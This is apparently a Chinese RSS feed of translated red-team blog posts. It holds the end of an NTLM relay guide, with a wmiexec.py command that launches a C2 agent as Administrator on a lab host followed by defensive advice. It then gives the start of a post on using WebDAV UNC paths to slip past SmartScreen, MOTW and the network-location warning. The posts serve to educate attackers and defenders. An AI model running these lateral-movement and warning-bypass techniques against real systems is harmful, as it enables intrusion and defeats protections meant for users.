style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">KRB5CCNAME=admin.ccache proxychains4 wmiexec.py -k -silentcommand -nooutput -k -no-pass Administrator@WORKSTATION.ludus.domain &#39;C:\Users\domainuser\Downloads\apollo.exe&#39;</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.41127098321342925" data-s="300,640" data-type="webp" data-w="834" type="block" data-imgfileid="100013016" src="https://wechat2rss.xlab.app/img-proxy/?k=b2a91374&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSj5Dd8M7VLO4eYzBG8126MVJHJ5HZRE3ALh5FbBNwLfFc6w9nia5ghibYolrQmezsEhxe3tFtLEGFjxgSNtBry0PxvChI37tqYNU%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">命令成功执行后，将产生一个以管理员用户身份运行的新回调，例如当前主机 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WORKSTATION\Administrator</span></code><span leaf="">的本地管理员。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14814814814814814" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100013017" src="https://wechat2rss.xlab.app/img-proxy/?k=dc02813d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShYHDcdLib5Gc32GRQWfOK7ibTKQdHnwHZ9SafPnpia5BacqXIB7CvZTOB7roxIy5rIwIuTtW6VaoY2icI70hhLNWicq2Dibxb51m52M%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以管理员身份启动代理后，任何标准的管理员后渗透操作都可以通过新启动的代理执行。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6410788381742739" data-s="300,640" data-type="webp" data-w="482" type="block" data-imgfileid="100013018" src="https://wechat2rss.xlab.app/img-proxy/?k=c4759291&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaQQtIicgGAXsvtTjPYhwviaygKyO0NpXzB3I6yUaqYH1KkxE9eibYQianRUAtFWQkm93KGYxGgalCwgj8de5yWexazdly7LEuGovI%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御建议</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在攻击技术指南已经提供，防御者可以做些什么来削弱这些攻击的操作能力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现实而言，预防性缓解措施归结为四点：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在所有运行 LDAP 和 LDAPS 服务的域控上添加 NTLM 中继保护（签名/通道绑定）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在所有 ADCS Web 注册端点上添加 NTLM 中继保护（EPA）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用网络防火墙规则大规模限制出站 SMB 到公网 IP 的流量</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">大规模添加本地防火墙规则，仅白名单必要入站端口</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于 LDAP 中继保护，由于该主题已被广泛讨论，我不会深入展开。如需相关资源，请参阅我之前博客此处的防御部分，但务必将通道绑定选项设置为 When Supported。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于 ADCS Web 注册端点：如果不需要，建议完全取消配置该服务；如果业务功能需要，可以通过 IIS 管理器在托管 ADCS Web 注册服务的 IIS 服务器上启用 EPA。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IIS Manager -&gt; Connections -&gt; Sites -&gt; ADCS Web Enrollment endpoint -&gt; Home -&gt; Security -&gt; Authentication -&gt; Enable Windows Authentication option -&gt; Advanced Settings -&gt; Actions -&gt; Advanced Settings -&gt; Extended Protection -&gt; Enable required option</span></code></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">建议在全面部署前使用审计模式测试认证变更。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">NTLM 中继攻击远未消亡。事实上，SpecterOps 仍然经常使用 NTLM 中继攻击来在 Active Directory 环境中实现目标。&#34;去而复返&#34;是一项在社区中鲜有讨论的技术，我们在评估中使用它。当无法绑定到 </span><em><span leaf="">445/TCP</span></em><span leaf="">端口进行 SMB 中继或防火墙规则阻止了从 C2 进行 WebDAV 中继时，这项技术尤为有效。它涉及将 SMB 或 WebDAV 认证强制触发出站，使用互联网上的云端主机接收认证，然后通过红队基础设施将流量中继回目标环境。在防御方面，LDAP 中继保护仍然适用。将 LDAP 签名设置为 Enabled，LDAPS 通道绑定设置为 When Supported，以最大化与旧设备的兼容性，同时遏制对手的 NTLM 中继攻击。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://specterops.io/blog/2026/07/15/there-and-back-again-an-operators-guide-on-ntlm-relaying-egress/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=08ed2ea8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496718%26idx%3D1%26sn%3D780147f3e29e4e33ed947f4b2ef1fd1c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 25 Jul 2026 16:50:00 +0800</pubDate>
    </item>
    <item>
      <title>利用 WebDav 绕过 SmartScreen、MOTW 及那个&#34;其他&#34;告警</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496718&amp;idx=2&amp;sn=c359daa7121ceb77d52ef9a0508b1811</link>
      <description>本文介绍如何通过 WebDAV 映射网络驱动器并从终端环境执行文件，绕过 SmartScreen、MOTW 标记及&#34;本地网络之外&#34;告警，实现无告警静默执行。</description>
      <content:encoded><![CDATA[<p><span>g3tsyst3m</span> <span>2026-07-25 16:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0aea6f20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSh0sFyc5Hm0GUXe9MGXr29ibeGeBJfNhIPVBOQepiagS8GteMPiaZIA1ehanlteKSKw5qeUyddWSNyqvAoarQrHr64z1Xu5gkJu3c%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文介绍如何通过 WebDAV 映射网络驱动器并从终端环境执行文件，绕过 SmartScreen、MOTW 标记及"本地网络之外"告警，实现无告警静默执行。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://g3tsyst3m.com/initial%20access/Using-WebDav-to-Outsmart-Smartscreen,-MOTW,-and-that-OTHER-Alert/" target="_blank">https://g3tsyst3m.com/initial%20access/Using-WebDav-to-Outsmart-Smartscreen,-MOTW,-and-that-OTHER-Alert/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">R.B.C (g3tsyst3m)</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">9 分钟阅读</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上一次我写关于 </span><strong><span leaf="">SmartScreen</span></strong><span leaf="">和 </span><strong><span leaf="">MOTW</span></strong><span leaf="">的时候，焦点有些分散。我尽力将 DLL 侧加载与封装在 </span><strong><span leaf="">.VHDX</span></strong><span leaf="">挂载磁盘中的已签名二进制文件结合起来使用。最终，这种方法确实在某些方面绕过了 SmartScreen 和 MOTW，但我仍然不满意 😸 现在请 </span><strong><span leaf="">WebDav</span></strong><span leaf="">闪亮登场。</span><strong><span leaf="">WebDav</span></strong><span leaf="">已经存在了很久很久。它非常方便，因为它允许通过标准的 </span><strong><span leaf="">SMB/CIFS</span></strong><span leaf="">约定：</span><strong><span leaf="">\servernamesharename</span></strong><span leaf="">进行 UNC 访问，但它</span><strong><span leaf="">不走</span></strong><span leaf="">445 端口！这对于绕过阻止传统 UNC 载荷因出站 445 限制而离开网络的防火墙规则来说非常方便。你可能在想，既然它可以通过 UNC 路径访问，那它是怎么绕过 445 端口的呢？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">奥秘在于 WebClient 服务本身。当 Windows 遇到 UNC 路径且通过 445 端口的标准 SMB 尝试失败（或被禁用）时，WebClient 服务会悄悄介入，使用 WebDAV 协议将同样的 \servershare 请求通过 HTTP/HTTPS 在 80 或 443 端口上重新路由。从用户的角度来看（也从大多数工具的角度来看），它看起来和感觉上仍然像一个普通的 UNC 路径！资源管理器可以渲染它，cmd.exe 可以 cd 进入它，可执行文件可以直接从它启动（我们稍后会在文章中详细介绍这些 😼）。但在底层，它只是 HTTP 流量，跑在你浏览器每时每刻都在使用的相同端口上。没有 SMB，没有 445 端口，没有问题 😼 稍后我还会给你看 Wireshark 的截图，证明它从未提供 TCP 445 端口的统计信息。当我们访问 WebDav 共享文件夹时只有 HTTP/HTTPS。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">事情变得有趣了……</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在，从 </span><strong><span leaf="">SmartScreen</span></strong><span leaf="">和 </span><strong><span leaf="">MOTW</span></strong><span leaf="">绕过的角度来看，这里就是真正有趣的地方了。因为直接从 WebDAV UNC 路径执行的文件在技术上并不通过浏览器或邮件客户端&#34;下载&#34;，通常那种无情的 MOTW&#34;印记&#34;不会附加到我们的文件上！就好像我们只是从一个受信任的邻近设备下载一样。所以，让我来展示这一切是如何对我们有利的 😸</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但首先！一个小小的注意事项……事情是这样的。和我大多数研究一样，我在初始测试中不可避免地撞上了路障。哦，我撞上了一个巨大的路障。即使有上面我简要介绍的关于使用 UNC 路径规避 SmartScreen 和 MOTW 的优势，直接基于 UNC 的启动仍然会触发警告。不是那种&#34;嘿你！你从互联网上下载了这个！&#34;的警告。不是，更像是这种：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013048" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1a622131&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjMU6RqhONUtgLFFhAicuQicnAQuicPBaEBP7XOBvhPVTudBibTeb1wqTTjlkJ5TlQibXialL2hptaiaGoVOYeD6xsFdCxFMIK61e3XzI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">UNC 路径为何仍然弹出提示（即使有已签名二进制文件）</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当我测试直接从 WebDAV UNC 路径启动一个已签名的微软二进制文件（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ApplicationFrameHost.exe</span></code><span leaf="">）时，我仍然收到了&#34;</span><strong><span leaf="">此文件位于本地网络之外的位置</span></strong><span leaf="">&#34;的警告。这起初确实让我惊讶。毕竟该文件是由微软签名的。但这个提示实际上不是关于签名的，而是关于位置的。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">底层发生了什么</span></strong><span leaf="">：</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Windows 有多道安全关卡，文件在执行时必须通过。第一道关卡是基于区域的安全检查。Shell 的附件执行服务（Attachment Execution Service，AES）会检查文件从哪里启动，并询问&#34;这个位置在本地网络之内还是之外？&#34;如果 Windows 确定文件来自非本地位置（通过 UNC 路径中 FQDN 包含句点来判断），它会在关心签名、信誉或其他任何东西之前，就触发通用的&#34;本地网络之外&#34;警告。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">可以这样理解</span></strong><span leaf="">：提示问的是&#34;这个文件从哪里来的？&#34;而不是&#34;这个文件是谁做的？&#34;签名验证发生在后续的关卡，在这道初始位置检查的下游。所以已签名的二进制文件、未签名的二进制文件和微软自己的二进制文件，在从 Windows 归类为不受信任的网络位置启动时，都会遇到相同的基于区域的警告。实际的安全区域判定非常简单：如果 URL 的服务器名中不包含句点（如 <a href="http://sharepoint/davshare），则服务器被假定为本地" target="_blank">http://sharepoint/davshare），则服务器被假定为本地</a> Intranet 站点；但如果 URL 包含句点，则服务器被假定为 Internet 上的站点。因为我的 WebDAV 服务器是 </span><strong><span leaf="">something.somethingelse.com</span></strong><span leaf="">，Windows 将其归入 Internet 区域，安全关卡也随之触发。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">但等等，还有更多！更多什么？当然是更多的绕过方法！😸 但首先，让我给你展示一些我发现的限制性触发条件。当我们通过 UNC 访问 WebDav 共享时，有几种方式可以访问。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">触发&#34;</span><strong><span leaf="">此文件位于本地网络之外的位置</span></strong><span leaf="">&#34;也就是那个&#34;</span><strong><span leaf="">其他</span></strong><span leaf="">&#34;告警的两种方式如下：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我使用 </span><strong><span leaf="">Windows -&gt; 运行命令</span></strong><span leaf="">：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013049" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c1133e45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSh26lgvSfETy2B0369dZJCEQHBzfyRbVlIxiafib1LYVSod2xzgJFYYN9m5bPzV7W1TOemz7BMkkzT7qZbZqhExud9MsZDZR86KA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013050" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=91905551&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShBwic1X4m0HLG8ZLicW0mky85oT4icBia53IlxfFrsSAfg997pA2xedC03eBPXS6iaDsicSwwc6H9iaicwludaa2ibt7rnx43EMKl8DQnE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 